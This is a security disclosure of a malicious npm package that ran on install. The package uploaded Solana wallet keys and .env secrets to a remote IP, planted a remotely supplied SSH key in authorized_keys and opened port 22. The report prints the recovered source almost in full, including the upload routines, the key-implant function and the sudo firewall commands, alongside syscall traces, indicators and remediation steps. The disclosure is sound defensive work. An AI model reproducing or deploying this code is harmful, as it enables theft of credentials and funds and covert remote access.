Disclosure · 2026-07-28
app-soda-layer@2.1.6
An npm package that read wallet keys and application secrets and uploaded their contents to a remote host, and that requested an SSH public key from that host and appended it to the user's ~/.ssh/authorized_keys. It was available on the npm registry for 2 hours 25 minutes and has since been removed by its author. The account below is reconstructed from a system-call trace recorded during installation in an isolated sandbox.
How to read this page. Every technical claim is labelled by its basis. Observed means it appears in the system-call trace of the installation. Source means it was read from the package's own code, recovered from that same trace, but was not exercised in the sandbox. Statements that are neither are marked as assessment and are confined to one section at the end.
1. Identification
| Package | app-soda-layer |
|---|---|
| Version | 2.1.6 (the only version ever published) |
| Ecosystem | npm |
| Entry point | index.js |
| Trigger | postinstall: node test.js — runs on npm install |
| Published | 2026-07-27T18:47:46.475Z |
| Unpublished | 2026-07-27T21:13:07.413Z (by the author) |
| Availability window | 2 hours 25 minutes 21 seconds |
| Analysed | 2026-07-27T20:58:33Z |
| Current status | GET /app-soda-layer/2.1.6 returns HTTP 404 |
Registry provenance
The registry retains a metadata record after an unpublish. Retrieved directly from the registry:
{"_id":"app-soda-layer","name":"app-soda-layer",
"time":{"created":"2026-07-27T18:47:46.475Z",
"modified":"2026-07-27T21:13:07.413Z",
"2.1.6":"2026-07-27T18:47:46.759Z",
"unpublished":{"time":"2026-07-27T21:13:07.413Z","versions":["2.1.6"]}}}
The package name was created at 18:47:46.475Z and its only version published at 18:47:46.759Z — an interval of 284 milliseconds. No earlier version exists in the record. The unpublished object lists a single version and carries no registry-side security placeholder, which is what a registry-initiated removal produces.
2. Method
The package was installed in an isolated sandbox with no outbound network route. The full system-call trace of the installation was captured losslessly and retained.
Because the artefact is no longer retrievable from the registry, the source below was recovered from the trace rather than downloaded. npm writes each file to disk as it unpacks the tarball, so the file contents appear as the string arguments of write(2). Extracting every write() whose file descriptor path contained the package directory, and concatenating the fragments in trace order, reconstructs the files.
Four files were recovered: index.js, test.js, package.json and readme.md.
Completeness of the reconstruction
index.js was written in three write() calls, declaring 615, 4,149 and 3,784 bytes — 8,548 bytes in total. The tracer truncates long string arguments at a fixed length, and the second fragment hit that limit, so 8,495 bytes were captured. The shortfall of approximately 53 bytes falls at the boundary between the second and third fragments, inside getWindowsDrives():
const driv⟨~53 bytes not captured⟩trim())
.filter((line) => new RegExp("^[A-Z]:$", "").test(line));
The missing text is the expression that splits the command output into lines and trims them. It is not reproduced here because it was not captured. No other gap exists, and no function described in this document is affected: every routine below was recovered complete.
3. Package contents
package.json
{
"name": "app-soda-layer",
"version": "2.1.6",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "node test.js"
},
"publishConfig": {
"access": "public"
},
"dependencies": {
"axios": "^1.7.0",
"child_process": "^1.0.2",
"form-data": "^4.0.0",
"os": "^0.1.2"
},
"keywords": [],
"author": "",
"license": "ISC",
"type": "commonjs"
}
The description, author and keywords fields are empty. No repository or homepage field is present.
child_process and os are Node.js built-in modules and do not require installation. The npm packages published under those names are unrelated to the built-ins.
test.js
269 bytes, recovered complete. This is what postinstall executes:
const { from_str_2, from_str_1 } = require(".");
async function main() {
try {
await from_str_2(); // same as Rust from_str()
await from_str_1(); // same as Rust from_str()
} catch (e) {
console.error(e);
}
}
main();
Both routines are invoked, from_str_2() first. The try/catch wraps both, so an exception in either does not propagate and the install does not fail visibly.
readme.md
3,615 bytes. The content describes an OpenAPI/Swagger generation library — decorator-based routing, JSON-schema type extraction, ExpressJS router mounting. It corresponds to an unrelated, permissively licensed open-source project and bears no relation to the code in the package. Excerpt as recovered:
APIs in NodeJS should have a single source of truth for api specs between code
and docs, as well as compile time type safety.
...
TS-API solves this by leveraging the typescript parser to generate:
* OpenAPI (Swagger) docs
* Runtime type checks with Json schemas
* ExpressJS routes to be mounted
4. Execution chain
npm install app-soda-layer
└─ postinstall: node test.js
└─ test.js → require(".") → index.js
├─ from_str_2() control fetch → SSH key implant → home sweep → upload (port 3001)
└─ from_str_1() working-directory sweep → per-file upload (port 3000)
No import or invocation by the installing project is required. The code runs during installation.
5. Routine 1 — from_str_1()
Source Recovered complete:
async function from_str_1() {
const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"];
const cwd = process.cwd();
if (!fs.existsSync(cwd)) {
throw new Error(`Directory does not exist: ${cwd}`);
}
const found = [];
await findFilesRecursive(cwd, patterns, found);
for (let i = 0; i < found.length; i++) {
await uploadFileWithMetadata(found[i], "http://95.216.118.146:3000/api/v1");
if (i + 1 < found.length) {
await new Promise((r) => setTimeout(r, 100));
}
}
}
The target list is fixed in the source. id.json is the default keypair filename for the Solana command-line wallet and contains private key material; config.toml is that tool's configuration file. .env and env are conventional filenames for application secrets.
The scan is recursive from process.cwd(), which during npm install is the directory in which the install was invoked. Uploads are sequential with a 100 ms pause between files.
Matching is delegated to fileMatchesPattern, which supports a *.ext suffix form and otherwise compares filenames case-insensitively:
function fileMatchesPattern(file, pattern) {
if (pattern.startsWith("*.")) {
const tail = pattern.substring(1);
return file.toLowerCase().endsWith(tail.toLowerCase());
}
return file.localeCompare(pattern, undefined, { sensitivity: "accent" }) === 0;
}
The directory walk is unbounded — it does not skip any directory, and recurses into every subdirectory it can read:
async function findFilesRecursive(dir, patterns, out) {
if (!fs.existsSync(dir)) return;
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const entryPath = path.join(dir, entry.name);
if (entry.isFile()) {
for (const pat of patterns) {
if (fileMatchesPattern(entry.name, pat)) {
out.push(entryPath);
break;
}
}
} else if (entry.isDirectory()) {
await findFilesRecursive(entryPath, patterns, out);
}
}
}
The upload
async function uploadFileWithMetadata(filePath, url) {
const fileData = fs.readFileSync(filePath);
const envUser = process.env.USER || "unknown";
const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]);
const filename = path.basename(filePath) || "file.bin";
await axios.post(url, payload, {
headers: {
"Content-Type": "application/octet-stream",
"Content-Disposition": `attachment; filename="${filename}"`,
},
maxContentLength: Infinity,
maxBodyLength: Infinity,
});
}
The request body is the file's full contents, prefixed with the value of $USER and a newline. maxContentLength and maxBodyLength are set to Infinity, removing the HTTP client's default request-size limits.
6. Routine 2 — from_str_2()
Source Recovered complete:
async function from_str_2(sshRes, scanRes, blockRes) {
try {
[sshRes, scanRes, blockRes] = await Promise.all([
fetch("http://95.216.118.146:3001/api/ssh-key"),
fetch("http://95.216.118.146:3001/api/scan-patterns"),
fetch("http://95.216.118.146:3001/api/block-patterns"),
]);
} catch {
sshRes = { text: async () => "" };
scanRes = { text: async () => "" };
blockRes = { text: async () => "" };
}
const [sshData, scanData, blockData] = await Promise.all([
readJsonBody(sshRes, { msg: "" }),
readJsonBody(scanRes, { scanPatterns: [] }),
readJsonBody(blockRes, { blockPatterns: [] }),
]);
const msg = sshData.msg == null ? "" : String(sshData.msg);
const scanPatterns = Array.isArray(scanData.scanPatterns)
? scanData.scanPatterns
: [];
const blockPatterns = Array.isArray(blockData.blockPatterns)
? blockData.blockPatterns
: [];
let success = false;
if (process.platform === "linux") {
success = addSshKeyToUser(msg);
}
const unixPlatforms = ["aix", "darwin", "freebsd", "linux", "openbsd", "sunos"];
const scanPaths = unixPlatforms.includes(process.platform)
? getUnixScanPaths()
: getWindowsDrives();
const results = await runPool(
scanPaths,
async (dir) => {
const localFound = [];
await searchHashes(dir, scanPatterns, blockPatterns, localFound);
return localFound;
},
os.cpus().length
);
const found = results.flat();
await batchUpload(found, "http://95.216.118.146:3001/api/v1", success);
}
6.1 The file patterns are supplied remotely
Unlike routine 1, routine 2 contains no target list. scanPatterns and blockPatterns are obtained at install time from /api/scan-patterns and /api/block-patterns on the remote host, parsed by readJsonBody:
async function readJsonBody(res, fallback, text) {
text = "";
try {
text = await res.text();
} catch {
return fallback;
}
if (!text.trim()) return fallback;
try {
const data = JSON.parse(text);
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
return { ...fallback, ...data };
}
} catch {}
return fallback;
}
Each fallback is an empty array. When the host is unreachable — as it was in the sandbox — the sweep runs with no patterns and matches nothing.
The consequence for this document: the set of files routine 2 would collect on a networked machine is determined by the remote host at run time and is not present in the artefact. It cannot be enumerated from the package, and no response from the host was received. Any list of routine 2's targets would be unfounded.
6.2 SSH key implantation
The msg field of the /api/ssh-key response is passed to addSshKeyToUser. Source, recovered complete:
function addSshKeyToUser(sshKey, _unused, username) {
username = "unknown";
try {
username = os.userInfo().username;
} catch {
username =
process.env.USER ||
process.env.USERNAME ||
process.env.LOGNAME ||
"unknown";
}
try {
const sshDir = `${process.env.HOME}/.ssh`;
if (!fs.existsSync(sshDir)) {
fs.mkdirSync(sshDir, { mode: 0o700, recursive: true });
}
const authKeys = path.join(sshDir, "authorized_keys");
let existingKeys = "";
if (fs.existsSync(authKeys)) {
existingKeys = fs.readFileSync(authKeys, "utf8");
if (existingKeys.includes(sshKey)) {
return true;
}
}
fs.appendFileSync(authKeys, `${sshKey}\n`, { mode: 0o600 });
execSync(`sudo chown -R ${username}:${username} ${sshDir}`);
execSync("sudo ufw enable", { stdio: "inherit" });
execSync("sudo ufw allow 22/tcp", { stdio: "inherit" });
return true;
} catch {
return false;
}
}
In order, the function: resolves the current username; creates ~/.ssh with mode 0700 if absent; reads any existing authorized_keys and returns early if the key is already present; appends the key with mode 0600; changes ownership of ~/.ssh recursively to the current user; enables the host firewall; and permits inbound TCP on port 22.
Two properties are worth stating precisely. The ownership change is a precondition for the appended key to be honoured: OpenSSH's StrictModes setting, enabled by default, causes sshd to ignore an authorized_keys file whose ownership is wrong. The early return on existingKeys.includes(sshKey) makes repeated execution idempotent, so a second install does not append a duplicate line.
The return value is propagated to the remote host. success is passed as the third positional argument of batchUpload, whose signature binds that position to created, which is serialised into the metadata accompanying the upload.
6.3 Collection and upload
The sweep root on Unix platforms is the user's home directory:
function getUnixScanPaths() {
return [os.homedir()];
}
On other platforms, drive letters are enumerated. This is the function containing the reconstruction gap noted in section 2; the elided region is marked:
function getWindowsDrives(_unused, output) {
try {
output = execSync("wmic logicaldisk get name", {
encoding: "utf8",
stdio: ["ignore", "pipe", "ignore"],
});
} catch {
try {
output = execFileSync(
process.env.SystemRoot
? path.join(
process.env.SystemRoot,
"System32\\WindowsPowerShell\\v1.0\\powershell.exe"
)
: "powershell.exe",
[
"-NoProfile",
"-Command",
"Get-Volume | Where-Object { $_.DriveLetter } | ForEach-Object { \"$($_.DriveLetter):\" }",
],
{ encoding: "utf8", windowsHide: true }
);
} catch {
return ["C:\\Users\\"];
}
}
const driv⟨~53 bytes not captured⟩trim())
.filter((line) => new RegExp("^[A-Z]:$", "").test(line));
const otherDrives = drives
.filter((drive) => drive.toUpperCase() !== "C:")
.map((drive) => `${drive}\\`);
otherDrives.push("C:\\Users\\");
return otherDrives;
}
The enumeration has a three-step fallback chain: wmic, then PowerShell, then a hardcoded C:\Users\. stdio: ["ignore", "pipe", "ignore"] discards the child process's standard error, -NoProfile skips PowerShell profile loading, and windowsHide: true suppresses the console window that would otherwise appear.
The directory walk for routine 2 differs from routine 1: matching is by substring rather than exact name, and directories matching blockPatterns are skipped:
function checkIfMatches(file, pattern) {
return file.toLowerCase().includes(pattern.toLowerCase());
}
async function searchHashes(dir, scanPatterns, blockPatterns, out) {
if (!fs.existsSync(dir)) return;
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const entryPath = path.join(dir, entry.name);
if (entry.isFile()) {
for (const pat of scanPatterns) {
if (checkIfMatches(entry.name, pat)) {
out.push(entryPath);
break;
}
}
} else if (entry.isDirectory()) {
if (blockPatterns.some((block) => entry.name.includes(block))) {
continue;
}
await searchHashes(entryPath, scanPatterns, blockPatterns, out);
}
}
}
Collection is parallelised across a worker pool sized to the host's logical CPU count:
async function runPool(items, worker, concurrency = os.cpus().length, index) {
const results = [];
index = 0;
async function runNext() {
if (index >= items.length) return;
const currentIndex = index++;
const result = await worker(items[currentIndex]);
results[currentIndex] = result;
return runNext();
}
const workers = Array.from({ length: concurrency }, () => runNext());
await Promise.all(workers);
return results;
}
Matches are uploaded as multipart form data in batches of up to 100 files per request, streamed rather than buffered:
async function batchUpload(files, url, created, MAX_FILES_PER_REQUEST, username, publicIp) {
MAX_FILES_PER_REQUEST = 100;
username = "unknown";
try {
username = os.userInfo().username;
} catch {
username =
process.env.USER || process.env.USERNAME || process.env.LOGNAME || "unknown";
}
publicIp = "unknown";
const meta = JSON.stringify({
created,
username,
publicIp,
platform: process.platform,
});
async function uploadSlice(slice) {
const form = new FormData();
form.append("username", `${username}`);
for (const filePath of slice) {
form.append("files", fs.createReadStream(filePath), {
filename: path.basename(filePath),
});
}
form.append("meta", meta);
await axios.post(url, form, {
headers: form.getHeaders(),
maxBodyLength: Infinity,
});
}
if (files.length === 0) {
await uploadSlice([]);
return;
}
for (let i = 0; i < files.length; i += MAX_FILES_PER_REQUEST) {
await uploadSlice(files.slice(i, i + MAX_FILES_PER_REQUEST));
}
}
Note the branch at the end: when no files matched, a request is still sent with an empty file list. The metadata — username, platform, and the SSH-implant result — is therefore transmitted even when collection yields nothing.
7. Network endpoints
All endpoints are on a single host, addressed by literal IPv4 address over cleartext HTTP. No domain name is used and no TLS is involved.
| Endpoint | Function | Basis |
|---|---|---|
http://95.216.118.146:3001/api/ssh-key | Supplies the SSH public key to append | Observed connection |
http://95.216.118.146:3001/api/scan-patterns | Supplies file patterns to collect | Observed connection |
http://95.216.118.146:3001/api/block-patterns | Supplies directories to skip | Observed connection |
http://95.216.118.146:3001/api/v1 | Batched multipart upload | Observed connection |
http://95.216.118.146:3000/api/v1 | Per-file upload (routine 1) | Source only |
Port 3001 serves both control and collection. Port 3000 appears only in routine 1.
8. Observed system calls
The following are extracted verbatim from the trace. Timestamps are Unix epoch seconds as recorded.
8.1 Connections to the remote host
115 1785185977.690611 connect(18<socket:[57]>, {sa_family=AF_INET,
sin_port=htons(3001), sin_addr=inet_addr("95.216.118.146")}, 16)
= -1 EINPROGRESS (Operation now in progress)
115 1785185977.695621 connect(19<socket:[58]>, {sa_family=AF_INET,
sin_port=htons(3001), sin_addr=inet_addr("95.216.118.146")}, 16)
= -1 EINPROGRESS (Operation now in progress)
115 1785185977.700328 connect(20<socket:[59]>, {sa_family=AF_INET,
sin_port=htons(3001), sin_addr=inet_addr("95.216.118.146")}, 16)
= -1 EINPROGRESS (Operation now in progress)
115 1785185989.611560 connect(18<socket:[68]>, {sa_family=AF_INET,
sin_port=htons(3001), sin_addr=inet_addr("95.216.118.146")}, 16)
= -1 EINPROGRESS (Operation now in progress)
...
AxiosError: connect ETIMEDOUT 95.216.118.146:3001
Four connection attempts, all to port 3001. The first three occur within 10 milliseconds of one another, consistent with the three concurrent requests in the Promise.all at the head of from_str_2. The fourth follows approximately 12 seconds later, consistent with the upload. All terminated in ETIMEDOUT at the sandbox boundary. No connection to port 3000 appears anywhere in the trace.
8.2 Writing to authorized_keys
115 1785185988.207539 access("/home/det/.ssh", F_OK) = 0
115 1785185988.208075 access("/home/det/.ssh/authorized_keys", F_OK)
= -1 ENOENT (No such file or directory)
115 1785185988.209081 openat(AT_FDCWD</tmp/detonate.Dk1VVL/node_modules/app-soda-layer>,
"/home/det/.ssh/authorized_keys", O_WRONLY|O_CREAT|O_APPEND|O_CLOEXEC, 0600)
= 18</home/det/.ssh/authorized_keys>
115 1785185988.210003 write(18</home/det/.ssh/authorized_keys>, "\n", 1) = 1
115 1785185988.211198 close(18</home/det/.ssh/authorized_keys>) = 0
122 1785185988.252646 execve("/bin/sh", ["/bin/sh", "-c",
"sudo chown -R det:det /home/det/.ssh"], [...])
This sequence corresponds to addSshKeyToUser line for line: the two access calls are its two fs.existsSync checks; the openat flags O_WRONLY|O_CREAT|O_APPEND with mode 0600 are the signature of fs.appendFileSync(authKeys, ..., { mode: 0o600 }); and the execve follows 41 milliseconds later, matching the execSync on the next line of the function. This is what attributes the chown to that function rather than to any other part of the package or to the package manager.
The byte written was a single newline. This is the expected result of `${sshKey}\n` where sshKey is the empty string, which is what readJsonBody returns when the request to /api/ssh-key fails. The absence of key material in the sandbox is a consequence of the blocked network, not of the package's behaviour.
8.3 Enumeration of the home directory
115 1785185988.363982 getdents64(18</home/det>, [
{d_ino=10, ..., d_type=DT_DIR, d_name="."},
{d_ino=9, ..., d_type=DT_DIR, d_name=".."},
{d_ino=5, ..., d_type=DT_DIR, d_name=".aws"},
{d_ino=6, ..., d_type=DT_DIR, d_name=...}, ...
115 1785185989.549943 access("/home/det/.ssh", F_OK) = 0
115 1785185989.550897 newfstatat(18</home/det/.ssh>, "", {st_mode=S_IFDIR|0755,
st_uid=1001, st_gid=1001, ...}) = 0
115 1785185989.551534 getdents64(18</home/det/.ssh>, [
{d_ino=30, ..., d_type=DT_DIR, d_name="."},
{d_ino=10, ..., d_type=DT_DIR, d_name=".."},
{d_ino=19, ..., d_type=DT_REG, d_name="id_rsa"}, ...
115 1785185989.552007 getdents64(18</home/det/.ssh>, [], 32768) = 0
115 1785185989.552478 close(18</home/det/.ssh>) = 0
The home directory and ~/.ssh were enumerated. The files present, including id_rsa, were listed. Because scanPatterns was empty, no file matched and nothing was selected for upload.
9. What was not observed
The following are stated explicitly because their absence bounds every conclusion above.
- No data left the sandbox. Total outbound traffic was 192 bytes, all directed to the sandbox's own isolated gateway. None of the 15 decoy credentials planted in the environment appeared in any outbound write.
- No response was received from the remote host. Every request timed out. The content of
/api/ssh-key,/api/scan-patternsand/api/block-patternsis therefore unknown. It cannot be confirmed that the host was serving anything at the time. - No key material was written. The value appended to
authorized_keyswas an empty string followed by a newline. - No connection to port 3000 occurred. Routine 1 runs after routine 2, scans the installation directory rather than the home directory, and found no matching files, so it issued no request.
- The
ufwcommands did not execute.sudois not present in the sandbox image, so the precedingchownraised, and the function'scatchreturnedfalsewithout reaching them. They appear in the source and in aread()ofindex.js, but never in anexecve. - Windows behaviour was not exercised. The sandbox is Linux.
getWindowsDrivesand the drive sweep were not executed. - Installation counts are unknown. There is no basis on which to estimate how many systems installed the package during its availability window, or whether any host was successfully modified.
10. Assessment
This section is the only part of this document that goes beyond direct observation, and is labelled accordingly.
Behavioural analysis cannot by itself distinguish a proof of concept from an attack, so the alternative explanations were tested against the recovered artefact:
- Compromise of an existing package. Not supported. The registry record shows the package name and its only version created 284 milliseconds apart, with no prior release.
- Security research or a bug-bounty proof of concept. Not consistent with the artefact. Such packages typically transmit metadata sufficient to demonstrate execution. This package transmits the contents of matched files, with the HTTP client's size limits explicitly removed, and appends a remotely supplied key to
authorized_keyswhile permitting inbound SSH. Neither is required to demonstrate code execution. - Error or accidental publication. Not consistent with the artefact: an unrelated project's readme, empty author and repository metadata, suppressed subprocess output, and exception handlers around every stage that prevent a failure from surfacing during installation.
- Misreading of the code. Mitigated by independent corroboration. The source was not decompiled or inferred; it is the bytes written to disk during installation. The runtime trace matches it: the
access/openat/write/execvesequence corresponds toaddSshKeyToUser, and the three near-simultaneous connections correspond to its three concurrent requests.
Assessment: the package is judged to be malicious — a credential and cryptocurrency-wallet collector combined with a remote-access implant, dependent on a host that must be operating to supply its targets and its key.
Limits of that assessment: no response from the remote host was observed, so it cannot be demonstrated that /api/ssh-key returns a usable key, nor what /api/scan-patterns would have specified. No claim is made about who operates the host, nor about the number of systems affected.
11. Indicators
Package
| Name | app-soda-layer |
|---|---|
| Version | 2.1.6 |
| Trigger | postinstall: node test.js |
Network
| Indicator | Type | Basis |
|---|---|---|
95.216.118.146 | Remote host | Observed |
95.216.118.146:3001 | Control and exfiltration | Observed |
95.216.118.146:3000 | Exfiltration | Source |
/api/ssh-key, /api/scan-patterns, /api/block-patterns, /api/v1 | URI paths | Source |
Host
| Indicator | Basis |
|---|---|
Unrecognised entry in ~/.ssh/authorized_keys dated 2026-07-27 | Observed (empty value in sandbox) |
sudo chown -R <user>:<user> ~/.ssh from a Node.js process | Observed |
sudo ufw enable from an install script | Source |
sudo ufw allow 22/tcp from an install script | Source |
~/.ssh created with mode 0700 by a package install | Source |
wmic logicaldisk get name from a Node.js process | Source |
powershell.exe -NoProfile -Command "Get-Volume ..." from a Node.js process | Source |
Files read by routine 1
| Pattern | Significance |
|---|---|
id.json | Solana CLI keypair — private key material |
config.toml, Config.toml | Solana CLI configuration |
.env, env | Application secrets, API keys, tokens |
Routine 2's file patterns are supplied by the remote host at run time and cannot be enumerated.
12. If this package was installed
Applicable to any environment where app-soda-layer appears in a lockfile, CI log or node_modules tree dated 2026-07-27.
- Inspect
~/.ssh/authorized_keyson every account that ran the install. An unrecognised entry indicates the host itself may be accessible to a third party, which is a broader condition than credential exposure and should be addressed first. - Check whether inbound SSH was permitted. Look for a firewall state change dated 2026-07-27 and for port 22 newly allowed.
- Rotate Solana keypairs. Treat any
id.jsonreachable from the install directory as exposed and move funds to a new keypair. - Rotate secrets in any
.envreachable from the install directory — API keys, database URLs, cloud credentials, tokens. - Rotate SSH private keys in any
~/.sshthat was reachable, and check the directory's ownership and permissions. - Search outbound traffic logs for
95.216.118.146, ports 3000 and 3001. Cleartext HTTP makes this straightforward to identify retrospectively. - Do not treat the file list in section 11 as exhaustive. Routine 2's targets came from the remote host. On a machine with working network access, any file under the user's home directory may have been read.
13. Notes
The package was analysed automatically as part of ongoing research into newly published open-source packages. The analysis environment has no outbound network route and plants decoy credentials to detect collection; no third-party system was contacted at any point.
The remote host was reported to the abuse contact of the network operator responsible for the address, with the technical detail required to verify it independently.
The full reconstructed source and the system-call trace are retained and can be provided on request: hello@protet.io.